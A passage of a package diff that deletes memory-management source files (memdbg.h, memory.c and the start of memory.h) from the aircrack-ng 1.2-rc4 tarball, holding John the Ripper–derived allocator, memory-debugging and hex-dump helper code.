- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- *  This header file should be the LAST header file included within every
- *  .c file within the project.   If there are .h files that have actual
- *  code in them, then this header should be the last include within that
- *  .h file, and that .h file should be the last one included within the
- *  .c file.
- *  ****** NOTE *****
- */
-#if !defined (__MEM_DBG_H_)
-#define __MEM_DBG_H_
-
-// values to use within the MemDbg_Validate() function.
-#define MEMDBG_VALIDATE_MIN     0
-#define MEMDBG_VALIDATE_DEEP    1
-#define MEMDBG_VALIDATE_DEEPER  2
-#define MEMDBG_VALIDATE_DEEPEST 3
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#if (!AC_BUILT || HAVE_UNISTD_H) && !_MSC_VER
-#include <unistd.h>
-#endif
-#include <string.h>
-
-#if defined (MEMDBG_ON)
-
-/*
- * This software was written by Jim Fougeron jfoug AT cox dot net
- * in 2013. No copyright is claimed, and the software is hereby
- * placed in the public domain. In case this attempt to disclaim
- * copyright and place the software in the public domain is deemed
- * null and void, then the software is Copyright (c) 2013 Jim Fougeron
- * and it is hereby released to the general public under the following
- * terms:
- *
- * This software may be modified, redistributed, and used for any
- * purpose, in source and binary forms, with or without modification.
- */
-
-/*
- *  memdbg.h
- *  Memory management debugging (at runtime)
- *
- *   memdbg contains routines detect, and report memory
- *   problems, such as double frees, passing bad pointers to
- *   free, most buffer overwrites.  Also, tracking of non-freed
- *   data, showing memory leaks, can also be shown.
- *
- *  Compilation Options (provided from Makefile CFLAGS)
- *
- *   MEMDBG_ON     If this is NOT defined, then memdbg will
- *       get out of your way, and most normal memory functions
- *       will be called with no overhead at all.
- */
-
-/* these functions can be called by client code. Normally Memdbg_Used() and
- * MemDbg_Display() would be called at program exit. That will dump a list
- * of any memory that was not released.  The MemDbg_Validate() can be called
- * pretty much any time.  That function will walk the memory allocation linked
- * lists, and sqwack if there are problems, such as overwrites, freed memory that
- * has been written to, etc.  It would likely be good to call MemDbg_Validate()
- * within benchmarking, after every format is tested.
- *
- *  TODO:  Add a handle that can be passed to the MemDbg_Used() and MemDbg_Display()
- *  and a function to get the 'current' state of memory as a handle.  Thus, a
- *  format self test could get a handle BEFORE starting, and then check after, and
- *  ONLY show leaked memory from the time the handle was obtained, which was at the
- *  start of the self test. Thus it would only show leaks from that format test.
- *
- *  These functions are NOT thread safe. Do not call them within OMP blocks of code.
- *  Normally, these would be called at program exit, or within things like format
- *  self test code, etc, and not within OMP.  But this warning is here, so that
- *  it is known NOT to call within OMP.
- */
-extern size_t	MemDbg_Used(int show_freed);
-extern void		MemDbg_Display(FILE *);
-extern void		MemDbg_Validate(int level);
-extern void		MemDbg_Validate_msg(int level, const char *pMsg);
-extern void		MemDbg_Validate_msg2(int level, const char *pMsg, int bShowExData);
-
-/* these functions should almost NEVER be called by any client code. They
- * are listed here, because the macros need to know their names. Client code
- * should almost ALWAYS call malloc() like normal, vs calling MEMDBG_alloc()
- * If MEMDBG_alloc() was called, and MEMDBG_ON was not defined, then this
- * function would not be declared here, AND at link time, the function would
- * not be found.
- * NOTE, these functions should be thread safe in OMP builds (using #pragma omp atomic)
- * also note, memory allocation within OMP blocks SHOULD be avoided if possible. It is
- * very slow, and the thread safety required makes it even slow. This is not only talking
- * about these functions here, BUT malloc/free in general in OMP blocks. AVOID doing that
- * at almost all costs, and performance will usually go up.
- */
-extern void *MEMDBG_alloc(size_t, char *, int);
-extern void *MEMDBG_realloc(const void *, size_t, char *, int);
-extern void MEMDBG_free(const void *, char *, int);
-extern char *MEMDBG_strdup(const char *, char *, int);
-
-#if !defined(__MEMDBG__)
-/* we get here on every file compiled EXCEPT memdbg.c */
-#undef malloc
-#undef realloc
-#undef free
-#undef strdup
-#undef libc_free
-#undef libc_calloc
-#undef libc_malloc
-#define libc_free(a)    do {if(a) MEMDBG_libc_free(a); a=0; } while(0)
-#define libc_malloc(a)   MEMDBG_libc_alloc(a)
-#define libc_calloc(a)   MEMDBG_libc_calloc(a)
-#define malloc(a)     MEMDBG_alloc((a),__FILE__,__LINE__)
-#define calloc(a)     MEMDBG_calloc((a),__FILE__,__LINE__)
-#define realloc(a,b)  MEMDBG_realloc((a),(b),__FILE__,__LINE__)
-/* this code mimicks JtR's FREE_MEM(a) but does it for any MEMDBG_free(a,F,L) call (a hooked free(a) call) */
-#define free(a)       do { if (a) MEMDBG_free((a),__FILE__,__LINE__); a=0; } while(0)
-#define strdup(a)     MEMDBG_strdup((a),__FILE__,__LINE__)
-
-#endif
-
-/* pass the file handle to write to (normally stderr) */
-#define MEMDBG_PROGRAM_EXIT_CHECKS(a) do { \
-    if (MemDbg_Used(0) > 0) MemDbg_Display(a); \
-    MemDbg_Validate_msg2(MEMDBG_VALIDATE_DEEPEST, "At Program Exit", 1); } while(0)
-
-typedef struct MEMDBG_HANDLE_t {
-	unsigned id;
-	unsigned alloc_cnt;
-	size_t mem_size;
-} MEMDBG_HANDLE;
-
-/*
- * these functions allow taking a memory snapshot, calling some code, then validating that memory
- * is the same after the code.  This will help catch memory leaks and other such problems, within
- * formats and such.  Simply get the snapshot, run self tests (or other), when it exits, check
- * the snapshot to make sure nothing leaked.
- */
-
-/* returning a struct (or passing as params it not super efficient but this is done so infrequently that this is not an issue. */
-MEMDBG_HANDLE MEMDBG_getSnapshot(int id);
-/* will not exit on leaks.  Does exit, on memory overwrite corruption. */
-void MEMDBG_checkSnapshot(MEMDBG_HANDLE);
-/* same as MEMDBG_checkSnapshot() but if exit_on_any_leaks is true, will also exit if leaks found. */
-void MEMDBG_checkSnapshot_possible_exit_on_error(MEMDBG_HANDLE, int exit_on_any_leaks);
-/*
- * the allocations from mem_alloc_tiny() must call this function to flag the memory they allocate
- * so it is not flagged as a leak, by these HANDLE snapshot functions. 'tiny' memory is expected
- * to leak, until program exit.  At that time, any that was not freed, will be shown as leaked.
- * THIS function is also thread safe. The other checkSnapshot functions are NOT thread safe.
- */
-
-void MEMDBG_tag_mem_from_alloc_tiny(void *);
-
-#else
-/* NOTE, we DO keep one special function here.  We make free a little
- * smarter. this function gets used, even when we do NOT compile with
- * any memory debugging on. This makes free work more like C++ delete,
- * in that it is valid to call it on a NULL. Also, it sets the pointer
- * to NULL, so that we can call free(x) on x multiple times, without
- * causing a crash. NOTE, the multiple frees SHOULD be caught when
- * someone builds and runs with MEMDBG_ON. But when it is off, we do
- * try to protect the program.
- */
-#undef libc_free
-#undef libc_calloc
-#undef libc_malloc
-#define libc_free(a)  do {if(a) MEMDBG_libc_free(a); a=0; } while(0)
-#define libc_malloc(a)   MEMDBG_libc_alloc(a)
-#define libc_calloc(a)   MEMDBG_libc_calloc(a)
-
-#if !defined(__MEMDBG__)
-/* this code mimicks JtR's FREE_MEM(a) but does it for any normal free(a) call */
-//extern void MEMDBG_off_free(void *a);
-//#define free(a)   do { if(a) MEMDBG_off_free(a); a=0; } while(0)
-#endif
-#define MemDbg_Used(a) 0
-#define MemDbg_Display(a)
-#define MemDbg_Validate(a)
-#define MemDbg_Validate_msg(a,b)
-#define MemDbg_Validate_msg2(a,b,c)
-#define MEMDBG_PROGRAM_EXIT_CHECKS(a)
-#define MEMDBG_tag_mem_from_alloc_tiny(a)
-
-#define MEMDBG_HANDLE int
-#define MEMDBG_getSnapshot(a) 0
-#define MEMDBG_checkSnapshot(a) if(a) printf(" \b")
-#define MEMDBG_checkSnapshot_possible_exit_on_error(a, b) if(a) printf(" \b")
-
-#endif /* MEMDBG_ON */
-
-extern void MEMDBG_libc_free(void *);
-extern void *MEMDBG_libc_alloc(size_t size);
-extern void *MEMDBG_libc_calloc(size_t size);
-
-#endif /* __MEMDBG_H_ */

aircrack-ng-1.2-rc4.tar.gz/src/memory.c Deleted

@@ -1,694 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-98,2010,2012 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <ctype.h> /* for isprint() */
-#if HAVE_MEMALIGN && HAVE_MALLOC_H
-#include <malloc.h>
-#endif
-
-#include "arch.h"
-#include "misc.h"
-#include "memory.h"
-#include "common.h"
-#include "johnswap.h"
-#include "memdbg.h"
-
-#if defined (_MSC_VER) && !defined (MEMDBG_ON)
-#define malloc(a) _aligned_malloc(a,16)
-#define realloc(a,b) _aligned_realloc(a,b,16)
-#define calloc(a,b) memset(_aligned_malloc(a*b,16),0,a*b)
-#define free(a) _aligned_free(a)
-char *strdup_MSVC(const char *str)
-{
-	char * s;
-	s = (char*)mem_alloc_func(strlen(str)+1);
-	if (s != NULL)
-		strcpy(s, str);
-	return s;
-}
-#endif
-
-unsigned int mem_saving_level = 0;
-
-// Add 'cleanup' methods for the mem_alloc_tiny.  VERY little cost, but
-// allows us to check for mem leaks easier.
-struct rm_list
-{
-	void *mem;
-	struct rm_list *next;
-};
-static struct rm_list *mem_alloc_tiny_memory;
-
-static void add_memory_link(void *v) {
-	struct rm_list *p = (struct rm_list *)mem_alloc(sizeof(struct rm_list));
-	p->next = mem_alloc_tiny_memory;
-	p->mem = v;
-	mem_alloc_tiny_memory = p;
-	// mark these as 'tiny' memory, so that memory snapshot checking does not
-	// flag these as leaks.  At program exit, this memory will still get checked,
-	// but it should be freed, so will still be globally checked for leaks.
-	MEMDBG_tag_mem_from_alloc_tiny(v);
-	MEMDBG_tag_mem_from_alloc_tiny((void*)p);
-}
-// call at program exit.
-void cleanup_tiny_memory()
-{
-	struct rm_list *p = mem_alloc_tiny_memory, *p2;
-	for (;;) {
-		if (!p)
-			return;
-		free(p->mem);
-		p2 = p->next;
-		free(p);
-		p = p2;
-	}
-}
-
-void *mem_alloc_func(size_t size
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	)
-{
-	void *res;
-
-	if (!size) return NULL;
-#if defined (MEMDBG_ON)
-	res = (char*) MEMDBG_alloc(size, file, line);
-#else
-	res = malloc(size);
-#endif
-	if (!res) {
-		fprintf(stderr, "mem_alloc(): %s trying to allocate "Zu" bytes\n", strerror(ENOMEM), size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
-		perror("mem_alloc");
-	}
-
-	return res;
-}
-
-void *mem_calloc_func(size_t count, size_t size
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	)
-{
-	void *res;
-
-	if (!count || !size) return NULL;
-#if defined (MEMDBG_ON)
-	size *= count;
-	res = (char*) MEMDBG_alloc(size, file, line);
-	memset(res, 0, size);
-#else
-	res = calloc(count, size);
-#endif
-	if (!res) {
-		fprintf(stderr, "mem_calloc(): %s trying to allocate "Zu" bytes\n", strerror(ENOMEM), count * size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
-		perror("mem_calloc");
-	}
-
-	return res;
-}
-
-/*
- * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc()
- * with additional alignment. The reason for this is it's way easier to
- * trace bugs that way.
- * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested
- * alignment, in order to trigger bugs!
- */
-#ifdef DEBUG
-#undef  MEM_ALLOC_SIZE
-#define MEM_ALLOC_SIZE 0
-#endif
-void *mem_alloc_tiny_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-)
-{
-	static char *buffer = NULL;
-	static size_t bufree = 0;
-	size_t mask;
-	char *p;
-
-#if defined(DEBUG) || defined(MEMDBG)
-	size += align;
-#endif
-#ifdef DEBUG
-	/*
-	 * We may be called with size zero, for example from ldr_load_pw_line()
-	 * that calls mem_alloc_copy() with format->params.salt_size as size.
-	 * This causes problems with -DDEBUG without this fix because we never
-	 * get out of the while loop when MEM_ALLOC_SIZE is zero too. The
-	 * previous fix for this was returning NULL but that lead to other
-	 * problems that I did not bother digging into. This fix should be
-	 * 100% safe.
-	 */
-	if (size == 0)
-		size = 1;
-#endif
-
-#if ARCH_ALLOWS_UNALIGNED
-	if (mem_saving_level > 2 && align < MEM_ALIGN_SIMD)
-		align = MEM_ALIGN_NONE;
-#endif
-
-	mask = align - 1;
-
-	do {
-		if (buffer) {
-			size_t need =
-			    size + mask - (((size_t)buffer + mask) & mask);
-			if (bufree >= need) {
-				p = buffer;
-				p += mask;
-				p -= (size_t)p & mask;
-				bufree -= need;
-				buffer = p + size;
-#if defined(DEBUG) || defined(MEMDBG)
-				/* Ensure alignment is no better than requested */
-				if (((size_t)p & ((mask << 1) + 1)) == 0)
-					p += align;
-#endif
-				return p;
-			}
-		}
-
-		if (size + mask > MEM_ALLOC_SIZE ||
-		    bufree > MEM_ALLOC_MAX_WASTE)
-			break;
-#if defined (MEMDBG_ON)
-		buffer = (char*)mem_alloc_func(MEM_ALLOC_SIZE, file, line);
-#else
-		buffer = (char*)mem_alloc(MEM_ALLOC_SIZE);
-#endif
-		add_memory_link((void*)buffer);
-		bufree = MEM_ALLOC_SIZE;
-	} while (1);
-
-#if defined (MEMDBG_ON)
-	p = (char*)mem_alloc_func(size + mask, file, line);
-#else
-	p = (char*)mem_alloc(size + mask);
-#endif
-	add_memory_link((void*)p);
-	p += mask;
-	p -= (size_t)p & mask;
-#if defined(DEBUG) || defined(MEMDBG)
-	/* Ensure alignment is no better than requested */
-	if (((size_t)p & ((mask << 1) + 1)) == 0)
-		p += align;
-#endif
-	return p;
-}
-
-void *mem_calloc_tiny_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	) {
-#if defined (MEMDBG_ON)
-	char *cp = (char*)mem_alloc_tiny_func(size, align, file, line);
-#else
-	char *cp = (char*) mem_alloc_tiny(size, align);
-#endif
-	memset(cp, 0, size);
-	return cp;
-}
-
-void *mem_alloc_copy_func(void *src, size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	) {
-#if defined (MEMDBG_ON)
-	return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size);
-#else
-	return memcpy(mem_alloc_tiny(size, align), src, size);
-#endif
-}
-
-void *mem_alloc_align_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	)
-{
-	void *ptr = NULL;
-#if defined (MEMDBG_ON)
-	ptr = (char*) MEMDBG_alloc_align(size, align, file, line);
-#elif HAVE_POSIX_MEMALIGN
-	if (posix_memalign(&ptr, align, size))
-		pexit("posix_memalign");
-#elif HAVE_ALIGNED_ALLOC
-	/* According to the Linux man page, "size should be a multiple of
-	   alignment", whatever they mean with "should"... This does not
-	   make any sense whatsoever but we round it up to comply. */
-	size = ((size + (align - 1)) / align) * align;
-	if (!(ptr = aligned_alloc(align, size)))
-		pexit("aligned_alloc");
-#elif HAVE_MEMALIGN
-	/* Let's just pray this implementation can actually free it */
-#if defined(__sparc__) || defined(__sparc) || defined(sparc) || defined(__sparcv9)
-	if (!(ptr = memalign(align, size)))
-#else
-	if (!(ptr = memalign(&ptr, align, size)))
-#endif
-		perror("memalign");
-#elif HAVE___MINGW_ALIGNED_MALLOC
-	if (!(ptr = __mingw_aligned_malloc(size, align)))
-		perror("__mingw_aligned_malloc");
-#elif HAVE__ALIGNED_MALLOC
-	if (!(ptr = _aligned_malloc(size, align)))
-		perror("aligned_malloc");
-
-#elif AC_BUILT
-#error No suitable alligned alloc found, please report to john-dev mailing list (state your OS details).
-
-/* we need an aligned alloc function for legacy builds */
-#elif _ISOC11_SOURCE
-	size = ((size + (align - 1)) / align) * align;
-	if (!(ptr = aligned_alloc(align, size)))
-		perror("aligned_alloc");
-#else
-	if (posix_memalign(&ptr, align, size))
-		perror("posix_memalign");
-#endif
-	return ptr;
-}
-
-void *mem_calloc_align_func(size_t count, size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	)
-{
-#if defined (MEMDBG_ON)
-	void *ptr = mem_alloc_align_func(size * count, align, file, line);
-#else
-	void *ptr = mem_alloc_align_func(size * count, align);
-#endif
-
-	memset(ptr, 0, size * count);
-	return ptr;
-}
-
-char *str_alloc_copy_func(char *src
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	) {
-	size_t size;
-
-	if (!src) return "";
-	if (!*src) return "";
-
-	size = strlen(src) + 1;
-#if defined (MEMDBG_ON)
-	return (char *)memcpy(mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size);
-#else
-	return (char *)memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size);
-#endif
-}
-
-void dump_text(void *in, int len)
-{
-	unsigned char *p = (unsigned char*)in;
-
-	while (len--) {
-		fputc(isprint(*p) ? *p : '.', stdout);
-		p++;
-	}
-	fputc('\n', stdout);
-}
-
-void dump_stuff_noeol(void *x, unsigned int size)
-{
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)x)[i]);
-		if( (i%4)==3 )
-		printf(" ");
-	}
-}
-void dump_stuff(void* x, unsigned int size)
-{
-	dump_stuff_noeol(x,size);
-	printf("\n");
-}
-void dump_stuff_msg(const void *msg, void *x, unsigned int size) {
-	printf("%s : ", (char *)msg);
-	dump_stuff(x, size);
-}
-void dump_stuff_msg_sepline(const void *msg, void *x, unsigned int size) {
-	printf("%s :\n", (char *)msg);
-	dump_stuff(x, size);
-}
-
-void dump_stuff_be_noeol(void *x, unsigned int size) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)x)[i^3]);
-		if( (i%4)==3 )
-		printf(" ");
-	}
-}
-void dump_stuff_be(void* x, unsigned int size)
-{
-	dump_stuff_be_noeol(x,size);
-	printf("\n");
-}
-void dump_stuff_be_msg(const void *msg, void *x, unsigned int size) {
-	printf("%s : ", (char *)msg);
-	dump_stuff_be(x, size);
-}
-void dump_stuff_be_msg_sepline(const void *msg, void *x, unsigned int size) {
-	printf("%s :\n", (char *)msg);
-	dump_stuff_be(x, size);
-}
-
-void alter_endianity(void *_x, unsigned int size) {
-	ARCH_WORD_32 *x = (ARCH_WORD_32*)_x;
-
-	// size is in octets
-	size>>=2;
-
-#if !ARCH_ALLOWS_UNALIGNED
-	if (is_aligned(x, sizeof(ARCH_WORD_32))) {
-#endif
-		while (size--) {
-			*x = JOHNSWAP(*x);
-			x++;
-		}
-#if !ARCH_ALLOWS_UNALIGNED
-	} else {
-		unsigned char *cpX, c;
-
-		cpX = (unsigned char*)x;
-		while (size--) {
-			c = *cpX;
-			*cpX = cpX[3];
-			cpX[3] = c;
-			c = cpX[1];
-			cpX[1] = cpX[2];
-			cpX[2] = c;
-			cpX += 4;
-		}
-	}
-#endif
-}
-
-#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined (SIMD_PARA_MD5) || defined (SIMD_PARA_MD4) || defined (SIMD_PARA_SHA1)
-#ifndef SIMD_COEF_32
-#define SIMD_COEF_32	4
-#endif
-#ifndef SIMD_COEF_64
-#define SIMD_COEF_64 2
-#endif
-#ifndef SIMD_COEF_32
-#define SIMD_COEF_32 4
-#endif
-
-// These work for standard SIMD_COEF_32 buffers, AND for SSEi MMX_PARA multiple SIMD_COEF_32 blocks, where index will be mod(X * SIMD_COEF_32) and not simply mod(SIMD_COEF_32)
-#define SHAGETPOS(i, index)		( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*4*SIMD_COEF_32 ) //for endianity conversion
-#define SHAGETOUTPOS(i, index)	( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*20*SIMD_COEF_32 ) //for endianity conversion
-// for MD4/MD5 or any 64 byte LE SSE interleaved hash
-#define GETPOS(i, index)		( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 +    ((i)&3)  + (unsigned int)index/SIMD_COEF_32*64*SIMD_COEF_32  )
-#define GETOUTPOS(i, index)		( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 +    ((i)&3)  + (unsigned int)index/SIMD_COEF_32*16*SIMD_COEF_32  )
-// for SHA384/SHA512 128 byte BE interleaved hash (arrays of 16 8 byte ints)
-#define SHA64GETPOS(i,index)	( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + (7-((i)&7)) + (unsigned int)index/SIMD_COEF_64*SHA_BUF_SIZ*8*SIMD_COEF_64 )
-#define SHA64GETOUTPOS(i,index)	( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + (7-((i)&7)) + (unsigned int)index/SIMD_COEF_64*64*SIMD_COEF_64 )
-
-// for SHA384/SHA512 128 byte FLAT interleaved hash (arrays of 16 8 byte ints), but we do not BE interleave.
-#define SHA64GETPOSne(i,index)      ( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + ((i)&7) + (unsigned int)index/SIMD_COEF_64*SHA_BUF_SIZ*8*SIMD_COEF_64 )
-
-void dump_stuff_mmx_noeol(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[GETPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-}
-void dump_stuff_mmx(void *buf, unsigned int size, unsigned int index) {
-	dump_stuff_mmx_noeol(buf, size, index);
-	printf("\n");
-}
-void dump_stuff_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_stuff_mmx(buf, size, index);
-}
-void dump_stuff_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s :\n", (char*)msg);
-	dump_stuff_mmx(buf, size, index);
-}
-void dump_out_mmx_noeol(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[GETOUTPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-}
-void dump_out_mmx(void *buf, unsigned int size, unsigned int index) {
-	dump_out_mmx_noeol(buf,size,index);
-	printf("\n");
-}
-void dump_out_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_out_mmx(buf, size, index);
-}
-void dump_out_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s :\n", (char*)msg);
-	dump_out_mmx(buf, size, index);
-}
-
-#if defined (SIMD_PARA_MD5)
-#define GETPOSMPARA(i, index)	( (index&(SIMD_COEF_32-1))*4 + (((i)&(0xffffffff-3))%64)*SIMD_COEF_32 + (i/64)*SIMD_COEF_32*SIMD_PARA_MD5*64 +    ((i)&3)  + (unsigned int)index/SIMD_COEF_32*64*SIMD_COEF_32  )
-// multiple para blocks
-void dump_stuff_mpara_mmx_noeol(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[GETPOSMPARA(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-}
-void dump_stuff_mpara_mmx(void *buf, unsigned int size, unsigned int index) {
-	dump_stuff_mpara_mmx_noeol(buf, size, index);
-	printf("\n");
-}
-// obuf has to be at lease size long.  This function will unwind the SSE-para buffers into a flat.
-void getbuf_stuff_mpara_mmx(unsigned char *oBuf, void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-		*oBuf++ = ((unsigned char*)buf)[GETPOSMPARA(i, index)];
-}
-void dump_stuff_mpara_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_stuff_mpara_mmx(buf, size, index);
-}
-void dump_stuff_mpara_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s :\n", (char*)msg);
-	dump_stuff_mpara_mmx(buf, size, index);
-}
-#endif
-
-void dump_stuff_shammx(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[SHAGETPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_stuff_shammx(buf, size, index);
-}
-void dump_out_shammx(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[SHAGETOUTPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-	printf("\n");
-}
-void dump_out_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_out_shammx(buf, size, index);
-}
-
-void dump_stuff_shammx64(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[SHA64GETPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_stuff_shammx64(buf, size, index);
-}
-void dump_stuff_mmx64(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[SHA64GETPOSne(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-	printf("\n");
-}
-void dump_stuff_mmx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_stuff_mmx64(buf, size, index);
-}
-
-void dump_out_shammx64(void *buf, unsigned int size, unsigned int index) {
-	unsigned int i;
-	for(i=0;i<size;i++)
-	{
-		printf("%.2x", ((unsigned char*)buf)[SHA64GETOUTPOS(i, index)]);
-		if( (i%4)==3 )
-			printf(" ");
-	}
-	printf("\n");
-}
-void dump_out_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index) {
-	printf("%s : ", (char*)msg);
-	dump_out_shammx64(buf, size, index);
-}
-#endif
-
-void alter_endianity_w(void *_x, unsigned int count) {
-	int i = -1;
-	ARCH_WORD_32 *x = (ARCH_WORD_32*)_x;
-#if ARCH_ALLOWS_UNALIGNED
-	while (++i < (int)count) {
-		x[i] = JOHNSWAP(x[i]);
-	}
-#else
-	unsigned char *cpX, c;
-	if (is_aligned(x,sizeof(ARCH_WORD_32))) {
-		// we are in alignment.
-		while (++i < (int)count) {
-			x[i] = JOHNSWAP(x[i]);
-		}
-		return;
-	}
-	// non-aligned data :(
-	cpX = (unsigned char*)x;
-	while (++i < (int)count) {
-		c = *cpX;
-		*cpX = cpX[3];
-		cpX[3] = c;
-		c = cpX[1];
-		cpX[1] = cpX[2];
-		cpX[2] = c;
-		cpX += 4;
-	}
-#endif
-}
-
-void alter_endianity_w64(void *_x, unsigned int count) {
-	int i = -1;
-	ARCH_WORD_64 *x = (ARCH_WORD_64*)_x;
-#if ARCH_ALLOWS_UNALIGNED
-	while (++i < (int)count) {
-		x[i] = JOHNSWAP64(x[i]);
-	}
-#else
-	unsigned char *cpX, c;
-	if (is_aligned(x,sizeof(ARCH_WORD_64))) {
-		// we are in alignment.
-		while (++i < (int)count) {
-			x[i] = JOHNSWAP64(x[i]);
-		}
-		return;
-	}
-	// non-aligned data :(
-	cpX = (unsigned char*)x;
-	while (++i < (int)count) {
-		c = *cpX;
-		*cpX = cpX[7];
-		cpX[7] = c;
-		c = cpX[1];
-		cpX[1] = cpX[6];
-		cpX[6] = c;
-		c = cpX[2];
-		cpX[2] = cpX[5];
-		cpX[5] = c;
-		c = cpX[3];
-		cpX[3] = cpX[4];
-		cpX[4] = c;
-		cpX += 8;
-	}
-#endif
-}

aircrack-ng-1.2-rc4.tar.gz/src/memory.h Deleted

@@ -1,371 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
